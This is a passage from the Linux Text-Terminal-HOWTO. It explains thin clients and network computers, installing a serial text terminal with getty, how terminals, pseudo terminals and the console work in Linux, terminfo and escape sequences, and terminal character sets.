These are neither true computers nor true terminals but are something in-between. One type of network computer (NC's) is a computer with a CPU but no hard Disk. The OS it needs to run is sent to it over a network. NCs are full-graphics and use the services of a server computer. They are a little different from terminals since some (or most) of the programs they run may execute on their own CPU chip. Running a browser was supposed to be one of their primary functions and thus Java code applets may be sent to them for execution. Many NCs support X Window so that one may use a Linux server to support it. Such a server may be called a "Linux Terminal Server". IBM called their NC a "NetStation" but now calls it "NetVista". They should work on Intranet type networks and NetVista can run the the Linux OS.

Wintel came out with a "NetPC" which, unlike the above, is almost a PC computer. However, it has no removable disks so users can't install their own software or obtain copies of anything.

Thin clients and NCs under Linux

There is a "Linux Terminal Server Project" (LTSP or ltsp) to use Linux as a server for diskless thin clients. They use X Window and by default applications run on the server. But with additional effort, one can set it up so that some or all applications run on the "terminal". See http://www.ltsp.org/.

"Terminal" in this name is actually a thin (or fat) client. This project's client can also run a telnet session and thus behave like a text-terminal. They have created a software package named "lts" which is available in the major Linux distribution.

It's claimed that if one has only a few "terminals", they will work without the ltsp software. But if one has many "terminals", ltsp software is needed. So use ltsp if what you want to do is to use old PCs, etc. as diskless thin clients. It works OK on systems with over 100 thin-client workstations.

Linux provides NFS (Network File System) so that if ordinary computers are connected to each other via a network, then a person on one computer can run programs on another computer. Such a program sends messages over the network so that it appears just like a program was being run by your local computer. But such a program is actually being run on another computer on the network. It works also with X Window so that one may see GUI images generated on another computer.

Linux also allows a computer to be diskless and boot over a network. See the "Terminal Server Project" above which has special software for this purpose. Network-boot-HOWTO gives an overview. Older documents are Diskless-HOWTO and Diskless-root-NFS-HOWTO. Thus using a diskless computer which runs NFS enables you to run programs on another computer (the server). This is just like using a NC (Network Computer). It's not really a NC but it's emulating a type of NC. It's also often called a "terminal" and in some sense it is.

Thus if you have an old PC with an ethernet card (NIC) you may be able to use it as a NC. One source of info on this is Thinclient-HOWTO. Even if your old PC doesn't have a NIC, you could still use it to emulate a text-terminal. See Terminal Emulation.

There are also a number of genuine Network Computers (NC) that will work with a Linux server. Today some NCs run the Linux OS inside the NC. Before Linux became popular, NCs didn't run the Linux OS but required some other OS. But even if the NC uses a non-linux OS, it's often possible to make it work with a Linux Server. The non-linux OS is simply stored as files on the Linux Server. Then when the NC starts up it sends a message to the Linux Server asking for the non-linux OS files. This non-linux OS is thus sent to the NC over the network and the NC boots.

The Linux Server runs the NFS and X Window both of which must be supported by the NC. This enables one to use the NC as if it were an X Window terminal.

There are some Linux HOWTOs for certain brands of NCs:

  • JavaStation-HOWTO (by Sun)
  • NC-HOWTO (IBM NetStation)
  • NCD mini-HOWTO (NCD-ThinSTAR)
  • NCD-X-Terminal mini-HOWTO
  • XDM-and-X-Terminal mini-HOWTO

Hardware hookups

There are 3 different types of hardware arrangements for thin clients. The first type just uses a PC computer as a thin client by emulating a thin client. It really isn't a thin client but it behaves like one. The second type looks just like a text-terminal. It just looks like a monitor, with a connector for a keyboard and another connector for a network cable. It's a dedicated thin client and can't be used for anything else. The third type looks like a tiny computer. It uses a standard PC monitor and keyboard both of which plug into a small box which is a "thin" computer. This box provides an interface between the monitor/keyboard and the network.

History and the future

Promoters of NCs and related Window-Terminals projected that they would soon replace millions of PCs. In 1998 about .7 million thin clients were sold worldwide with (about 27% of them being NCs). In 1999 it dropped to .6 million but went up to .9 million in 2000 (vs. 1.3 million predicted). Someone predicted 8.7 million in 2005. I wouldn't bet on it.

A major reason why growth was not as rapid as predicted is that PCs have come down in price in recent years so that they are often not much more expensive than a thin client. However, it's argued that even though thin clients may cost the same as PCs, the maintenance and administration costs are less. Note that thin clients sometimes replace text terminals instead of PCs.

2.5 Emulation on a PC

Since a PC has a screen and keyboard (as does a terminal) but also has much more computing power, it's easy to use some of this computing power to make the PC computer behave like a text terminal. This is called "terminal emulation". They usually emulate text-terminals. See Terminal Emulation


Text-Terminal-HOWTO: Quick Install

 Next Previous Contents

3. Quick Install

This is a quick procedure to install a terminal without going through a Setup procedure for both the terminal and the host computer. It probably will not work right if the terminal happens to have been set up incompatible with the computer. If you don't understand some of it you'll need to consult other parts of this document for more info.

To install a terminal, first look in /etc/termcap or terminfo.src to find an entry for it (see Terminfo and Termcap (detailed)). Figure out what serial port you'll connect it to and what the tty designation is for that port (e.g. ttyS1), see Device Names). As the root user, edit /etc/inittab and add a getty command next to the other getty commands. The format of the getty command depends on which getty program you use. agetty (called just getty in the Debian distribution) is the easiest (no configuration file). See the "info" or "man re getty. For getty parameters use the terminfo (or termcap) name (such as vt100) for your terminal. Type in a baud-rate that the terminal supports. But if you set the baud too high you may need to use (See Flow Control).

Then physically connect the main serial port of the terminal to the chosen serial port of the computer with a null-modem cable and turn on the terminal. Don't expect most ready-made cables to be wired correctly for hardware flow control. Make sure the baud-rate of the terminal is set the same as you gave to getty and that its "data bits" is 8. Then at the computer console type "init q" to apply the changes you made to the inittab file. You should now see a login prompt at the terminal. If you don't, tap the terminal's return key. If this doesn't work read more of this document and/or see Trouble-Shooting.


Text-Terminal-HOWTO: Why Use a Terminal ?

 Next Previous Contents

4. Why Use a Terminal ?

4.1 Intro to Why Use a Terminal

PC's are so powerful today that just one PC can often support several persons using it at once, especially if they are doing low-load tasks such as text editing, data entry, etc. One way to do this is to connect a number of terminals to a single PC (or other host computer) by modems or direct cable connection. To do this, it's usually best to have a multi-user operating system such as Linux so that each user at a terminal can use the computer independently. This has been called "time sharing" but it's not good terminology today since "distributed" computing over a network is also a type of time sharing. It might be better described as "centralized" computing. But the central computer may be connected to the rest of the world via a network so that terminal users may send email, browse the Internet with the lynx browser, etc. So it's not exactly "centralized" either.

Terminals have seldom been used with PC's because the popular operating systems used for them (Windows, DOS, and Mac) were not multiuser until 1998 (available for MS Windows NT) and previously could not support terminals very well. Now that Linux, a multiuser operating system, is freely available for PC's, the use of terminals with PC's becomes more feasible. The drawback is that text terminals are not smart enough to support the type of graphical user interface (GUI) that many computer users today normally expect.

4.2 Lower Hardware Costs ?

When Computers (including PCs) were quite expensive, lower hardware costs was a significant advantage of using terminals. Today with cheap PCs, the cost savings is problematical. Here's what I wrote years ago when PCs were more expensive. It's still true today but of less significance.

If several people use the same computer as the same time, there is a reduction in the amount of hardware needed for the same level of service. One type of savings is due to code sharing. The application files on hard disks are shared as well as shared libraries in memory (even when people are running different programs provided they use some of the same functions in their code). Another type of savings is due to reduction of peak load. The hardware of a single PC may be idle most of the time as people slowly type in information, think, talk, or are away from their desks. Having several people on the same computer at once makes good use of much of this idle time which would otherwise be wasted.

These savings are substantial. One may roughly estimate (using statistical theory) that for 9 persons (8 terminals & 1 console) the shared PC only needs only about 3 times as much capacity (in memory, disk storage, CPU power, etc.) as a single PC in order to provide the same level of service per person. Thus the computational hardware for such a shared system should only cost about 1/3 as much per user. However, the cost of the display hardware (CRT's, keyboards, video electronics, etc.) is about the same for both cases. The terminals have the added cost of requiring additional serial ports at the host computer.

For a fair comparison with PC's, the terminals should have the same capabilities as the PC monitors. Unfortunately, color graphic terminals for Linux (X Window) with high speed communication cost about as much as a PC so in this case there not much (if any) savings in hardware costs. But for text terminals there will be some savings, especially if the terminals are obtained used at low cost.

4.3 Control of Software

For centralized computing, software (and the updates to software) only need be installed and configured on one host computer instead of several. The person in charge of this computer may control and configure the software which is installed on it. This is advantageous if the person controlling the host computer does an excellent job and knows about the needs and preferences of the other users. Users can be restricted in playing games or surfing the Internet by not installing the software (or by otherwise restricting access to it). Whether or not centralized control is desirable depends on the situation.

4.4 Hardware Upgrades

With terminals, the computer hardware upgrades take place on only one computer instead of many. This saves installation labor effort. While the cost of the hardware for the host computer upgrade will be more than that for a single PC (since the host needs more computing power than a PC), the cost will be significantly less than upgrading the hardware of a number of PC's being used instead of terminals.

4.5 Other Advantages of Terminals

  • The elimination of noise from fans and disk drives (unless your using a PC to emulate a terminal).
  • The users of the terminals can share data and files and send e-mail to each other. It's similar to a local network.

4.6 Major Disadvantages of Terminals

  • Text terminals have no high-speed graphic display (or high resolution graphics) although they can often use graphic character sets to draw boxes, etc. This lack limits the software that may be used on it.
  • If the host computer goes down, then no one can use the terminals either (unless there is a "standby" host computer to connect to).

4.7 Are Text Terminals Obsolete ?

Text terminals are technologically obsolete because for a slightly higher cost of hardware, one could build a smarter terminal (with the same quality of display). This wasn't always the case since around 1980 memory cost thousands of dollars per megabyte. Today with low costs for memory and processors, one could turn a text terminal into a GUI graphic terminal for only about a 10% or 20% increase in hardware cost. Since a PC can emulate a terminal, almost everyone using computers has a terminal emulator available.

The reasons that text terminals are not fully obsolete are:

  • The resolution of characters on the screen is better on monochrome terminals than for monitors in text mode.
  • Many people don't need full screen graphics.
  • Since running a text-terminal (in contrast to a GUI-graphics terminal) doesn't consume much of a modern PC's resources, a large number of terminals may be efficiently run from one PC.


Text-Terminal-HOWTO: Overview of How Terminals Work (in Linux)

 Next Previous Contents

5. Overview of How Terminals Work (in Linux)

See also section Some Details on How Terminals Work

5.1 Device Names

Each terminal is connected to a serial port on the host computer (often just a PC). The ports have names. Normally they are: ttyS0, ttyS1, ttyS2 etc. Starting with kernel 2.4 they may be named tts0, tts1, tts3, etc.

These are represented by special files found in the /dev (device) directory. ttyS0 (or tts0) corresponds to COM1 in DOS or Windows. ttyS1 is COM2, etc. See Terminal Special Files for details on these and related "devices" such as cua.

5.2 Login/Logout

When the host computer starts up it runs the program getty. The getty program runs the "login" program to log people in. See Getty (used in /etc/inittab). A "login:" prompt appears on the screen. People at the terminals log in (after giving their passwords) and then have access to the computer. When it's time to shut the terminal down, one normally logs out and turns the terminal off. See Login Restrictions regarding restricting logins (including allowing the root user to log in at terminal).

5.3 Half/Full Duplex

If one watches someone typing at a terminal, the letters one types simultaneously appear on the screen. A naive person might think that what one types is being sent directly from the keyboard to the screen with a copy going to the computer (half-duplex like, see next paragraph). What is usually going on is that what is typed at the keyboard is directly sent only to the host computer which in turn echoes back to the terminal each character it receives (called full-duplex). In some cases (such as passwords or terse editor commands) the typed letters are not echoed back.

Full-duplex means that there are two (dual) one-way communication links. Full-duplex is the norm for terminals. Half-duplex is half of a duplex, meaning that there is only a single one-way communication link. This link must be shared by communications going in both directions and only one direction may be used at a time. In this case the computer would not be able to echo the characters you type (and send to it) so the terminal would need to also send each character you type directly to the terminal screen. Some terminals have a half-duplex mode of operation which is seldom used.

5.4 Terminal Memory

The image on a CRT tube will fade away almost instantly unless it is frequently redrawn on the screen by a beam of electrons shot onto the face of the tube. Since text sent to a terminal needs to stay on the screen, the image on the screen must be stored in the memory chips of the terminal and the electron beam must repeatedly scan the screen (say 60 times per second) to maintain the image. See Terminal Memory Details for more details.

5.5 Commands for the Terminal

The terminal is under the control of the computer. The computer not only sends the terminal text to display on the screen but also sends the terminal commands which are acted on. These are Control Codes (bytes) and escape sequences. For example, the CR (carriage return) control code moves the cursor the the left hand edge of the screen. A certain escape sequence (several bytes where the first byte is the "escape" control code) can move the cursor to the location on the screen specified by parameters placed inside the escape sequence.

The first terminals had only a few such commands but modern terminals have hundreds of them. The appearance of the display may be changed for certain regions: such as bright, dim, underline, blink, and reverse video. A speaker in a terminal can "click" when any key is pressed or beep if a mistake has occurred. Function keys may be programmed for special meanings. Various fonts may exist. The display may be scrolled up or down. Specified parts of the screen may be erased. Various types of flow control may be used to stop the flow of data when bytes are being sent to the terminal faster than the terminal can handle them. There are many more as you will see from looking over an advanced terminal manual or from the Internet links Esc Sequence List

5.6 Lack of Standardization Solved by Terminfo

While terminals made for the US all used the same ASCII code for the alphabet (except for IBM terminals which used EBCDIC), they unfortunately did not all use the same escape sequences. This happened even after various ANSI (and ISO) standards were established since these standards were never quite advanced enough. Furthermore, older terminals often lacked the capabilities of newer terminals. This might cause problems. For example, the computer might send a terminal an escape sequence telling it to split the screen up into two windows of specified size, not realizing that the terminal was incapable of doing this.

To overcome these problems a database called "termcap" (meaning "terminal capabilities") was established. Termcap was later superceded by "terminfo". This database resides in certain files on the computer and has a section of it (sometimes a separate file) for each model of terminal. For each model (such as VT100) a list of capabilities is provided including a list of certain escape sequences available. For example blink=\E5m means that to make the cursor start blinking the terminal must be sent: Escape 5 m. See Section Termcap and Terminfo (detailed) for more details. Application programs may utilize this database by calling certain C-Library functions. One large set of such programs (over 200) is named "ncurses" and are listed in the manual page for "ncurses" which comes with a developer's ncurses package.

5.7 The Interface

The environment variable TERM is the type of terminal Linux thinks you are using. Most application programs use this to look up the capabilities in the terminfo database so TERM needs to be set correctly. But there is more to a correct interface than the computer knowing about the capabilities of the terminal.

For bytes to flow from the computer to the terminal the terminal must be set to receive the bytes at the same baud rate (bits per second) as they are sent out from the terminal. If the terminal is set to receive at 19,200 baud and the computer sends out characters at 9600 baud, only garbage (or perhaps nothing) will be seen on the screen. One selects the baud rate for a terminal (as well as many other features) from the terminals "set-up" menus at the terminal. Most terminals have a large number of options in their "set-up" menus (see Terminal Set-Up (Configure) Details). The computer serial port has options also and these options must be set up in a compatible way (see Computer Set-Up (Configure) Details.

5.8 Emulation

Most terminals today have more than one emulation (personality or "terminal mode"). The terminal model numbers of terminals formerly made by DEC (Digital Equipment Corporation now Compaq) start with VT (e.g. VT100). Many other terminals which are not VT100 may be set up to emulate a VT100. Wyse is a major terminal manufacturer and most of their terminals can emulate various DEC terminals such at VT100 and VT220. Thus if you want to, say, use a VT320 terminal you may either use a real VT320 in "native" personality or possibly use some other terminal capable of emulating a VT320.

The "native" personalities usually have more capabilities so, other things being equal, "native" is usually the best to use. But other things may not be equal. Since the Linux console emulates a VT102 it you may want to have a terminal emulate this (or something close to it such as VT100). This will help insure that some programs that may not handle terminals properly will still work OK on your terminal. Some programs will assume that you are using a VT012 if the program can't find a terminfo for your terminal (or can't find a certain capability). Thus the failure of a program to work correctly with your non-vt102 terminal may well be your fault if you don't provide a good terminfo file for your terminal. Using "native" and then reporting any bugs will help discover and fix bugs which might not otherwise get detected.

The most common type of emulation is to use a PC like it was a vt100 terminal (or the like). Programs loaded into the PC's memory do the emulation. In Linux (unless you're in X Window) the PC monitor (called the console) emulates a terminal of type "Linux" (close to vt100). Even certain windows within X Window emulate terminals. See Terminal Emulation.

5.9 The Console

On a PC, the monitor is normally the console. It emulates a terminal of type "Linux". One logs on to it as a virtual terminal. See The Console. It receives messages from the kernel regarding booting and shutdown progress. One may have the messages that normally go to the console, go to the terminal. To get this you must manually patch the kernel, except that for kernel 2.2 (or higher) it is a "make config" option. See Make a Serial Terminal the Console.


Text-Terminal-HOWTO: Terminal Special Files such as /dev/tty

 Next Previous Contents

6. Terminal Special Files such as /dev/tty

"tty" is an abbreviation for "Teletype". The first terminals were Teletypes (like remotely controlled typewriters). See subsection Teletypes. A list of Linux devices (the stuff in the /dev directory) may be found in "Linux Allocated Devices" which should be included with kernel sources. It "describes" what each device used for in only a word or two but doesn't tell you how to use them.

6.1 Serial Port Terminals

The computer considers each serial port to be a "device". It's sometimes called a terminal device since at one time terminals were the common use for the serial port. For each such serial port there is a special file in the /dev (device) directory. /dev/ttyS0 is the special file for the serial port known as COM1 in the DOS/Windows world. To send text to a terminal you may redirect standard output of some command-line command to the appropriate special file. For example typing "echo test > /dev/ttyS1" at the command prompt should send the word "test" to the terminal on ttyS1 (COM2) provided you have write permission on /dev/ttyS1. Similarly, typing "cat my_file > /dev/ttyS0" will send the contents of the file my_file to COM1 (ttyS0).

In addition to ttyS0 (/dev/ttyS0), ttyS1, ttyS2, etc. (the "S" stands for Serial port) there is also a "cua" series: cua0, cua1, cua2, etc. cua0 is the same port as ttyS0, etc. The "cu" of cua stands for CalloUt. The ttyS series are Posix compliant while using cua may permit the opening of a port that the modem control lines say is not ready. Starting with kernel version 2.2 cua is obsolete and a warning message is issued when you attempt to use it (although it still works). For the past few years it has only been included with Linux for backwards compatibility. A programmer can arrange things so that ttyS can behave just like cua, so cua is not really needed.

6.2 Pseudo Terminals

Pseudo terminals are pairs of devices such as /dev/ptyp3 and /dev/ttyp3. There is no physical device directly associated with either of them, not even a serial port connector. But if a program treats ttyp3 like it was a serial port, what is read and written to that port appears on the other member of the pair (ptyp3) which another program uses to read and write to. Thus two programs talk to each other via this method and one program (on ttyp3) thinks it's talking to a serial port.

You can't just take a pair of programs and make them talk to each other this way without modifying the source C code. Thus it's mainly programmers that must concern themselves with pseudo terminals and most users don't worry about them.

For example, if someone connects via telnet to your computer over a network, they may wind up connected to the device /dev/ptyp2 (a pseudo terminal port). The login process logs them in to /dev/ttyp2. Here the login program and the telnet program talk to each other via a "pseudo terminal". In X Window, the terminal emulator program, xterm (or rxvt), uses pseudo terminals. Ham radio programs under Linux also use them. Using certain application software it is possible to have 2 or more pseudo terminals attached to the same physical serial port.

For a pseudo terminal pair such as ptyp3 and ttyp3, the pty... is the master or controlling terminal and the tty... is the slave. There are only 16 ttyp's: ttyp0-ttypf (f is a hexadecimal digit). To get more pairs, the 3 letters q, r, s may be used instead of p. For example the pair ttys8, ptys8 is a pseudo terminal pair. The master and slave are really the same "port" but the slave is used by the application program and the master is used by a network program (or the like) which supplies (and gets) data to/from the slave port.

Unix98 doesn't use the above but instead uses a "pty master" which is /dev/ptmx. This can supply a pty on demand. While other unix-like systems have a manual page for pseudo terminals (may be named "pty") Linux lacks one. A page devoted to only to pseudo terminals is needed for Linux. There is both a Linux pty module and a /usr/include/pty.h file.

6.3 The Controlling Terminal /dev/tty

/dev/tty stands for the controlling terminal (if any) for the current process. To find out which tty's are attached to which processes use the "ps -a" command at the shell prompt (command line). Look at the "tty" column. For the shell process you're in, /dev/tty is the terminal you are now using. Type "tty" at the shell prompt to see what it is (see manual pg. tty(1)). /dev/tty is something like a link to the actually terminal device name with some additional features for C-programmers: see the manual page tty(4).

6.4 /dev/ttyIN "Terminals"

N stands for an integer. One use of these in Linux is with the ISDN driver package: isdn4linux. The ttyIN is something like ttySN. There is also a cuiN which is something like cuaN. The ttyI and cui emulate modems and may be given modem commands.

6.5 The Console: /dev/ttyN

In Linux the PC monitor is usually called the console and has several device special files associated with it: tty0, tty1, tty2, etc. When you log in you are on tty1. To go to tty2 (on the same screen) press down the 2 keys Alt(left)-F3. For tty3 use Left Alt-F3, etc. These (tty1, tty2, tty3, etc.) are called "virtual terminals". tty0 is just an alias for the current virtual terminal and it's where messages from the system are sent. Thus messages from the system will be seen on the console (monitor) regardless of which virtual terminal it is displaying.

You may log in to different virtual terminals and thus have a few different sessions with the computer going on at the same time. Only the system or the root user may write to /dev/tty0 to which /dev/console is sometimes linked. For more info on the console see The Linux Console.

6.6 Creating a Device with "mknod"

The /dev directory comes supplied with many device special files. If you need something that's not there you may try to create it with the "mknod" command. See the manual page ttys(4) for how to do this for serial ports. To use mknod you must know the major and minor device numbers. You might be able to infer the numbers you need by using the "ls -l" command in the /dev directory. It will display the major and minor numbers of existing special files.


Text-Terminal-HOWTO: Some Details on How Terminals Work

 Next Previous Contents

7. Some Details on How Terminals Work

If you know almost nothing about terminals, it's suggested that you first read Introduction and also read Overview of How Terminals Work.

7.1 Terminal Memory Details

The terminal screen refreshes itself at perhaps 60 times per second from an image stored in the memory of the terminal. For a PC the monitor's image is stored on the video card inside the computer but for a terminal, the equivalent of the video card is inside the terminal. For a text terminal the storage of the image uses little memory. Instead of putting every dot (pixel) on the screen into memory and requiring the storage of about a quarter-million dots, a much more efficient method of storage is used.

A screen-full of text may be represented inside the terminal memory by ASCII bytes, one for each character on the screen. An entire screen only takes about 2K ASCII bytes. To display these characters, the terminal must also know the bit-map (the shape) of each of the almost 100 printable ASCII characters. With a bit-map of a character using say 15 bytes, only about 1.5K of memory is needed for the bit-maps of all the ASCII characters (the font). This ASCII text and font memory is scanned so that the resulting image is put on the screen about 60 times each second. This is a form of shared memory where a single bit-map of a letter such as the letter e, is shared by all of the many letter e's which appear on a screen-full of text. Low memory requirements meant low costs to produce monitors in the early 1980's when the cost of memory was several thousand times higher than it is today (costing then several dollars per kilobyte).

7.2 Early Terminals

The first terminals were something like remotely controlled typewriters which could only "display" (print on paper) the character stream sent to them from the computer. The earliest models were called Teletypes. The name "tty" is just an abbreviation for "Teletype". Early terminals could do a line feed and a carriage return just like a typewriter and ring a bell when a bell character was received. Due to the lack of significant capabilities this was the first type of terminal to be labeled "dumb". This type of terminal interface (using a terminal type called "dumb") is sometimes used today when the computer can't figure out what kind of a terminal it is communicating with.

7.3 Escape Sequences and Control Codes (intro)

Terminals have many capabilities some of which are always present and some of which require commands from the computer to change or activate. To exercise all these capabilities under the control of the computer requires that special codes be established so that the computer can tell the terminal what to do. There are two major type of such codes: escape sequences and control codes (control characters). There are many times more escape sequences than control codes.

Control codes

The control codes (or control characters) consist of the first 32 bytes of the ASCII alphabet. They include the following: carriage-return (cursor to far left), line-feed (cursor down one line), backspace, escape-character, tab, and bell. They do not normally show on the screen. There is usually a command which you may give to your terminal which will result in them being displayed when they are received by the terminal. It's called something like "Display Controls" or "Monitor". If you do this then the display may look a mess since escape sequences, which all start with the ESC (escape) control character, are no longer executed. Words which should appear at the top or bottom of the screen will show up in other locations. The escape sequences to reposition the cursor display on the screen but the cursor doesn't move to where the escape sequence says.

Escape sequences

Since there are not nearly enough control codes to do everything (and for some reason, not all of them are utilized) many escape sequences are used. They consist of the "escape" (ESC) control character followed by a sequence of ordinary characters. Upon receiving an escape character, the terminal examines the characters following it so that it may interpret the sequence and carry out the intended command from the computer. Once it recognizes the end of a valid sequence, further characters received just display on the screen (unless they are control codes or more escape sequences). Some escape sequences may take parameters (or arguments) such as the coordinates on the screen to move the cursor to. The parameters become a part of the escape sequence. An Esc Sequence List is on the web for some terminals, but it's terse.

A list of the escape sequences for your terminal should be in the "programmers manual" for the terminal. Except for very old terminals, there may be two or three hundred such sequences. If you don't have a such manual it's not easy to find them. Some of the sequences are available on the Internet. One link is Esc Sequence List. By searching the Internet for one sequence (such as ESC[5m) you may come across a long list of them.

Another way to determine some of them is to find the terminfo entry (termcap) for the terminal and mentally decode it. See Terminfo and Termcap (detailed) in this document and/or the Termcap Manual on the Internet. Unfortunately, the terminfo (termcap) for a terminal often does not list all of the escape sequences which the terminal has available for use, but fortunately, the most important ones are usually there.

7.4 Display Attributes & Magic Cookies

Terminals have various methods of generating character attributes such as bold, reverse-video, underlining, etc. There should be no need for the user to worry about how this is done, except that it creates problems for some old terminals and there is sometimes an option for this in the set-up menu of newer terminals.

The magic cookie method is obsolete. It's the simplest (and worst) method of defining attributes: Use a certain byte for the start of an attribute and another to end that attribute. For example, a "start underlining" magic cookie byte is placed just before the first word to be underlined. These extra bytes are put into the memory of the screen page, just like character bytes that display as characters. But this might foul up the count of the number of characters per line since non-printable magic cookie characters are intermingled with other printable characters. This sometimes causes problems.

A better method which uses more memory is to assign an attribute byte (or half=byte, etc.) to each displayed character. This method is used by PC video cards (for text) for the common PC monitor.


Text-Terminal-HOWTO: Special Features of Some Terminals

 Next Previous Contents

8. Special Features of Some Terminals

8.1 Color

While the common monochrome terminal is not a color terminal it may have a fixed "color" display other than white such as green or amber. All terminals have black (electron beam turned off = zero brightness). A real color terminal can change the color of the text and background to many different colors while a monochrome terminal can only change the brightness of a fixed color.

However, changing the brightness, etc. gives a lot of possibilities. For example, a black and white (monochrome) terminal can have white, grey, and black by varying the brightness. Some words can be black on a light grey background while other are highlighted by black on white. In addition there is white on black, underlining, and blinking.

Color works like the color on a computer monitor or TV screen. The CRT has three colors of dots on it with each color controlled by its own electron beam (3 beams). Monochrome has inherently better resolution since it doesn't depend on dots permanently fixed on the screen. For text terminals the only use of color is to differentiate text and this advantage is not always worth the cost of worse resolution. Thus monochrome may be better since it also costs less.

8.2 Multiple Sessions

For dual sessions the terminal has two serial ports of equal status. Each port is connected to a serial port on a different computer. Thus one may log in to two different computers with each session displaying in a split-screen window. Alternatively, each session may run full-screen with a "hot" key (or the like) to switch between sessions. One could also connect to two different serial ports on the same computer and log in twice (similar to "virtual terminals" at the console). The program "screen" will make any ordinary terminal (single session) connected to a single computer run two or more "sessions".

8.3 Printer/Auxiliary Port

Many terminals have a connector on the rear for such a port. It may be labeled as "Aux" or "Printer", etc. Some printer ports are for parallel printers while others are for serial printers. If a printer is connected to the printer or auxiliary port, then pressing certain keys will print the screen. One may also have everything that displays on the screen go also to the printer. If the port is an auxiliary port, one may connect this to another computer and almost have dual sessions as above. However, the video memory inside the terminal may not retain both sessions so you may need to refresh the screen when switching to the other session. There will likely not be a hot key either but possibly a programmable function key may be programmed to do this. There exists various key combinations and escape sequences for controlling such a port. See Printer Esc.

There is a program called vtprint which is designed to send a print job (text only) to your terminal to be printed on a printer attached to the terminal. It's homepage is http://garrett.damore.org/~garrett/software/vtprint/. It's also included in the Debian distribution of Linux. xprt (also in Debian) seems to do something similar, but only for X Window terminals ??

8.4 Pages

Many terminals permit the storage of more than one page in their video memory. Sometimes the page size is the same as the screen, but sometimes it is larger so that scrolling will reveal unseen parts of a page. So when one looks at a screen, there may be hidden text on the same page above or below the display. In addition, if there is more than just one page, there may be hidden text on these other pages. One use for pages is on terminals that support dual sessions. Each session may have its own page and one may switch back and forth between them.

Even if you only have a one-page-terminal with the page sized equal to what is displayed on the screen, you will still see other pages of a file (etc.) as the host sends more data to the terminal. One advantage to having additional pages stored in the terminal memory is so that you can jump to them instantly without waiting a second or so for them to be transmitted from the host.

Multiple pages is supported by ncurses. There is also a commercial program called "Multiscreen" which supports multiple pages but probably not for Linux ?? Multiscreen is reported to be part of SCO and is something like the virtual terminals on a Linux PC console. The Linux program "screen" makes it look like you have multiple pages but they are stored in the computer and but you can have only one page-like window for each running program.

8.5 Character-Sets

A character-set is normally represented by a list (or table or chart) of characters along with the byte code assigned to each character. The codes for a byte range from 0 to 255 (00 to FF in hexadecimal). In MS-DOS, character-set tables are called "code-pages". You should examine such a table if you're not familiar with them. They are sometimes included in printer and terminal manuals but also are found on the Internet.

Many character sets include letters from foreign languages. But they may also include special characters used to draw boxes and other special characters.

ASCII was the traditional English character set used on text terminals It is a 7-bit code but will usually work OK even if your terminal is set to 8-bit mode. In 8-bit mode with ASCII, the high order bit is always set to zero. Other character-sets are usually available and usually use 8-bit codes (except on very old terminals where the only choice is ASCII). The first half of most character-sets are the conventional 128 ASCII characters and the second half (with the high-order bit set to 1) belong to a wide variety of character-sets. Character sets are often ISO standards. To get specialized character sets on a terminal, you may need to download a soft-font for that character-set into the memory of the terminal. Many terminals have a number of built-in character sets (but perhaps not the one you need).

Here are some common 8-bit character sets. CP stands for Code Page character sets invented by IBM: CP-437 (DOS ECS), ISO-8859-1 (Latin-1), CP-850 (Multilingual Latin 1 --not the same as ISO Latin-1), CP-1252 (WinLatin1 = MS-ANSI). MS Windows uses CP-1252 (WinLatin1) while the Internet often uses Latin-1. There are several ISO-8859- character sets in addition to Latin-1. These include Greek (-7), Arabic (-6), Eastern European (-2), and a replacement for Latin-1 (-15) called Latin-9. There are many others. For example, KOI8-R is more commonly used for Russian than IS0-8859-5. Unicode is a very large character-set where each character is represented by 2 bytes instead on just one byte.

More info re character-sets are:

  • Manual pages: iso_8859-l or latin1 (covers 8859 series), ascii
  • HOWTO's for various languages (often written in that language). See "Cyrillic" for Russian.
  • ISO-8859 Alphabet Soup More than just iso8859. Extensive.
  • A tutorial on character code issues Clearly written.
  • Languages, Countries and Character Sets
  • Languages of the World by Computers ...
  • Links re Internationalization A long list of links (in Russian but most words in English).
  • ... International Character Sets

Once you've found the character set name (or alpha-numeric designation) you are interested in, you may search for more info about it on the Internet.

Graphics (Line Drawing, etc.)

There are special characters for drawing boxes, etc. There are also numerous non-ASCII symbols such as bullets. These may either be part of an 8-bit character set (such as WinLatin1 = CP-1252) or provided as a separate font (in vt100 terminals). Your terminfo may be set up to use them. But if you see a row of letters when there should be a line, it may mean that terminfo hasn't implemented them.

You need to know the following if your graphics don't work right. The default graphic character set is the vt-100 ANSI graphics. Otherwise the string acsc must be defined in your terminfo. It establishes a map between the vt-100 graphic characters codes and the actual codes used on your terminal. So even if your terminal doesn't have the vt-100 graphics, it can likely still generate such graphics with some other character set. If terminfo has it right, this will happen automatically.

If character sets must be switched then the terminfo variables: enacs, rmacs, and smacs should be defined. Note acs = Alternate Character Set. Even if the upper half of the normal character set contains the graphic characters it may be considered a separate 7-bit character set that needs to be switched to.

National Replacement Characters (obsolete)

These result in modified 7-bit ASCII codes. Many West-European languages only need several additional letters which are not in ASCII. To get them in 7-bit code, one may borrow the codes for seldom used ASCII symbols:
@ [ \ ] ^ ` { \ } ~
The symbols $ and # are sometimes used also. So when using these replacement character sets, you are deprived of using certain ASCII symbols since they now are used for the new non-ASCII letters. Now that 8-bit character codes have mostly replaced 7-bit ones, it's better to use an 8-bit code which has both all the ASCII symbols plus the non-ASCII characters for various languages.

ISO-646 (for 1972 and later) permits this. It specifies that the above mentioned character codes may be borrowed, but doesn't specify which national characters are to replace them. Some countries standardized the replacements by registering them with ECMA.

Many terminals exist which support these national replacement characters but you probably don't want to implement them unless you have some old files to read. Very old terminals may only support one language (for the country in which they were sold). Later terminals offered a choice of languages. Modem terminals are 8-bit and don't need "national replacements". Replacement characters exist for the following languages/countries: British, Cuba (Spanish), Dutch, Finnish, French, French Canadian, German, Hebrew, Hungarian, Italian, Norwegian/Danish, Portuguese, Spanish, Swedish, Swiss (German).

Here's tables for some character sets taken from Kermit and Unisys documents:

                              Swedish     Danish
ASCII           German        Finnish      Norwegian    French

@ at-sign       section       -------      -------      a-grave
[ left-bracket  A-diaeresis   A-diaeresis  AE-digraph   degree
/ backslash     O-diaeresis   O-diaeresis  O-slash      c-cedilla
] right-bracket U-diaeresis   A-circle     A-circle     section
^ circumflex    ------        U-diaeresis  -------      -------
` accent-grave  ------        e-acute      -------      -------
{ left-brace    a-diaeresis   a-diaeresis  ae-digraph   e-acute
| vertical-bar  o-diaeresis   o-diaeresis  o-circle     u-grave
} right-brace   u-diaeresis   a-circle     a-circle     e-grave
